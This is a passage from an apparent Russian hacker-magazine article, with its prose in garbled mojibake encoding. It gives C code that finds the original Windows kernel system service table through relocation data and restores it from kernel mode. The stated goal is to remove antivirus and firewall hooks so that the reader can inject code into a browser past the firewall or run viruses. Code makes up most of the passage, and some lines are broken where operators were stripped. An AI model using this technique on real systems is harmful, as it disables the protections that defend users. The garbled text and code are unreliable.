Скачать - Xakep Online

i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
if ((poh->
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
&& (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,
hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr +
sizeof(IMAGE_BASE_RELOCATION));
for (i=0;iSizeOfBlock -
sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++)
{
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule +
dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule +
dwPointerRva+4) - poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr += pbr->SizeOfBlock;
}
}
return 0;
}
Ïîëó÷èâ ñìåùåíèå SDT, ìû ïðèáàâëÿåì åãî ê áàçå íàøåé êîïèè ÿäðà —
ýòî è áóäåò àäðåñ îðèãèíàëüíîé òàáëèöû. Íà âñÿêèé ñëó÷àé êîïèðóåì
âñå ñîäåðæèìîå SDT â ñîáñòâåííûé ìàññèâ DWORD è ðàäóåìñÿ —
îñíîâíîå äåëî ñäåëàíî, îðèãèíàë ïîëó÷åí.
GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);
pService = (PDWORD)((DWORD)hKernel + dwKiServiceTable);
for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
*pService-poh->ImageBaseSizeOfImage;
pService++,dwServices++)
TABLE[dwServices] = *pService — poh->ImageBase+dwKernelBase;
NEWTABLE = (DWORD)(dwKernelBase + dwKSDT);
Òåïåðü, ïåðåéäÿ â kernel mode, ìîæíî ëèáî âîññòàíîâèòü SDT, ïðîñòî
çàìåíÿÿ âñå àäðåñà â òåêóùåé òàáëèöå íà àäðåñà, òîëüêî ÷òî ïîëó÷åííûå,
÷òîáû óáèòü âñå çàùèòû, ëèáî èñïîëüçîâàòü ýòè ñàìûå àäðåñà íàïðÿìóþ,
÷òîáû îáîéòè ïåðåõâàò. Â ïëàíå îáõîäà NtWriteVirtualmemory
âîññòàíîâèòü ïðîùå, èñïîëüçîâàòü àäðåñà íàïðÿìóþ ìåíåå ïàëåâíî.
Íàïðÿìóþ — çíà÷èò çàïóñêàòü ôóíêöèþ ïî ïîëó÷åííîìó àäðåñó ïðÿìèêîì
èç ring0.
Êîðî÷å, äàâàé îòêëþ÷èì âñå çàùèòû.
[âîññòàíàâëèâàåì SDT íà óðîâíå ÿäðà]
void InKerneProc()
{
for (int i = 0; i < dwServices; i++)
((DWORD*)(*(DWORD*)(NEWTABLE)))[i] = TABLE[i];
}
Çàïóñòè ýòó ôóíêöèþ íà óðîâíå ÿäðà. Õî÷åøü — èíæåêòèðóé êîä â áðàóçåð,
÷òîáû îáîéòè ôàéðâîë — íèêòî òåáå íè÷åãî íå ñêàæåò. Õî÷åøü —
âèðóñû çàïóñêàé. Â îáùåì, âñå çàùèòû çàñûïàþò. Íåïëîõî, äà È ýòî
âåäü åùå íå âñå ïðèìåíåíèå àíòèõóêèíãà íà óðîâíå ÿäðà. Ñ åãî æå ïîìîùüþ
ìîæíî áîðîòüñÿ ñ êðóòûìè ÿäðåíûìè ðóòêèòàìè. Ìîæíî îòðóáàòü
êàêèå-íèáóäü õèòðûå àíòèîòëàäî÷íûå ïðèåìû.  îáùåì, ïðèìåíåíèå,
ïîìèìî áàíàëüíîãî îòðóáàíèÿ çàùèò, òû íàéäåøü.
Ïîëíûé èñõîäíûé êîä ïðîãðàììû, îòðóáàþùåé âñå çàùèòû è îáõîäÿùåé
ôàéðâîëû, òû ìîæåøü íàéòè íà äèñêå, î÷åíü ñîâåòóþ òåáå â íåì
êàê ñëåäóåò ïîêîïàòüñÿ.
Íà ýòîì ÿ çàêàí÷èâàþ ñâîå ïîâåñòâîâàíèå. Åñëè âîçíèêëè êàêèåíèáóäü
âîïðîñû — ïèøè, ïîñòàðàþñü âñå îáúÿñíèòü. Óäà÷íîãî
êîìïèëèðîâàíèÿ
[XÀÊÅÐ 09 [81] 05 > ÊÎÄÈÍÃ 126]
VICE çàñåêàåò ïåðåõâàòû Àíòèâèðóñà Êàñïåðñêîãî
îáõîä ôàéðâîëà - ýòî äåëî 9 Êá êîäà